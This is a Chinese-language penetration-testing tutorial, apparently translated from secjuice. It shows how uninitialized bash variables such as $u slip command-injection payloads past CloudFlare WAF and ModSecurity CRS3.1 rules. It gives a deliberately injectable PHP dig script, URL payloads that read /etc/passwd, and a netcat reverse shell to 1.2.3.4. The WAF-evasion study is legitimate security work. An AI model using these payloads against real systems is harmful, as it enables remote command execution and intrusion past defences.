Web应用防火墙通常会被部署在Web客户端与Web服务器之间,以过滤来自服务器的恶意流量。而作为一名渗透测试人员,想要更好的突破目标系统,就必须要了解目标系统的WAF规则,以及想办法绕过该规则。本文将以CloudFlare WAF和ModSecurity OWASP CRS3为例,为大家进行演示如何使用未初始化的Bash变量,来绕过基于WAF正则表达式的过滤器和模式匹配。
未初始化变量
在之前两篇关于过WAF的文章中,我为大家介绍了如何在Linux系统上通过滥用bash globbing进程,来绕过WAF规则集并执行远程命令的技巧。在本文中我将向大家展示另一种,使用未初始化bash变量绕过基于正则表达式的过滤器和模式匹配的技巧。
echo "uninitialized_variable=$uninitialized_variable"
未初始化变量的值为null(根本没有值)。
uninitialized_variable=
可以看出,声明但未初始化和直接设为空值是相同的。
默认情况下,Bash会像Perl那样处理未初始化的变量:即视为空字符串!让我们从一个例子开始。
假设我们要执行cat /etc/passwd命令,我们可以使用以下语法:
cat$u /etc$u/passwd$u
可以看到,其中$u会被bash视为空字符串,且对结果输出也没有任何的影响。我们可以简单的验证下,通过echo命令打印$u。如下:
我们可以利用这个特性来绕过WAF规则,让我们使用CloudFlare WAF和ModSecurity OWASP核心规则集3.1进行一些测试。
CloudFlare WAF (pro plan)
和之前一样,我将在一个非常简单的PHP脚本上测试这种绕过技术。需要说明的是,我的测试并不针对CloudFlare WAF,测试的主要目的是为了提醒开发人员注重代码的安全性,以及知道可以采取哪些措施来修复或编写自定义的规则。
我启用了CloudFlare WAF所有的规则,并将安全级别调到了最高(似乎所有规则都基于OWASP CRS2......)。
简单的PHP测试脚本
<?php
if(isset($_GET['host'])) {
system('dig '.$_GET['host']);
}
?>
该脚本使用dig来解析主机GET参数上的给定主机名,例如:
/?host=www.google.com
响应结果:
显然,我们只需在主机名后加一个分号,就可以实现RCE攻击,例如:
/?host=www.google.com;ls+/
那么,我是否可以读取cat /etc/passwd文件呢? 让我们来尝试下:
/?host=www.google.com;cat+/etc/passwd
如上所示,WAF规则集阻止了我的请求。现在,让我们尝试使用未初始化变量绕过该规则集。
/?host=www.google.com;cat$u+/etc$u/passwd$u
请求放行!我成功读取到了/etc/passwd文件中的内容。┌(◉͜ʖ◉)つ┣▇▇▇═──
CloudFlare有一些特定的规则来防止使用netcat获得反向shell,我决定尝试绕过它们。这里我将所有CloudFlare Specials上的规则设置为了“block”。
首先,我尝建立一个nc反向shell。
不出所料,CloudFlare阻止了我的请求。现在,我们在nc和/bin/bash后添加一些未初始化的bash变量,如下:
nc$u -e /bin$u/bash$u 1.2.3.4 1337
成功绕过并获取到了一个反向shell!
ModSecurity OWASP CRS3.1
使用CRS3.1后绕过难度大大增加,尤其是将Paranoia Level调到3后(CRS3上共有Paranoia Level 1~ 4 四个级别,第四个级别几乎无法绕过),这也是我喜欢CRS3的众多原因之一。
与CloudFlare上发生的情况不同,将CRS3.1级别调到Paranoia Level 3后,我的第一个测试被932100规则阻止,原因是“Unix命令注入”:
那么,我们该如何绕过这条规则呢?我尝试使用未初始化变量以 ;<space><uninitialized var><command> 的格式发送请求,看看是否可以成功绕过。如下:
?host=www.google.it;+$u+cat+/etc/passwd
可以看到,932100规则成功被绕过!但由于主机参数中包含etc/passwd字符串,我的请求再次被阻止。我能做的是在etc/passwd路径中,添加更多的未初始化变量,如下:
?host=www.google.it;+$u+cat+/etc$u/passwd$u
与CloudFlare WAF不同,如果我们将CRS3.1的Paranoia Level调为3,那么我们几乎不可能绕过以双引号包含$_GET['host']的PHP脚本。不信我们可以试一试:
<?php
if(isset($_GET['host'])) {
system('dig "'.$_GET['host'].'"');
}
?>
有了双引号后,除了分号之外我们还需要闭合或注释掉前后的双引号。例如:
/?host=www.google.it";cat+/etc/passwd+#
你可能会问,RCE payload中添加了这么多额外的字符,难道不会被CloudFlare阻止吗?我们来看结果~成功绕过!
之所以无法绕过CRS3 Paranoia Level 3,主要是由于以下两条规则:
- 942460 元字符异常检测警报 - 非单字字符重复:由于 ",;, / 和 $ 字符,导致请求被阻止。
- 942260 检测基本SQL身份验证绕过尝试 2/3:尝试使用特殊字符,导致请求被阻止。
而如果将Paranoia Level降至2,就可以被绕过。
/?host=www.google.it";+$u+cat+/etc$u/passwd+\#
总结
为什么阻止此类请求会如此困难?为什么WAF不阻止参数值中的$字符?原因很简单,因为那样会导致出现许多误报的情况。恕我直言,相比之下我更认同CRS3的做法,只在单个值中找到4个或更多重复的非单字字符时才进行阻止。这比阻止特定的字符更加聪明有效,且误报率也更低。
之前的文章
WAF绕过技术 #1
https://medium.com/secjuice/waf-evasion-techniques-718026d693d8
WAF绕过技术 #2
https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0
*参考来源:secjuice, FB小编 secist 编译,转载请注明来自FreeBuf.COM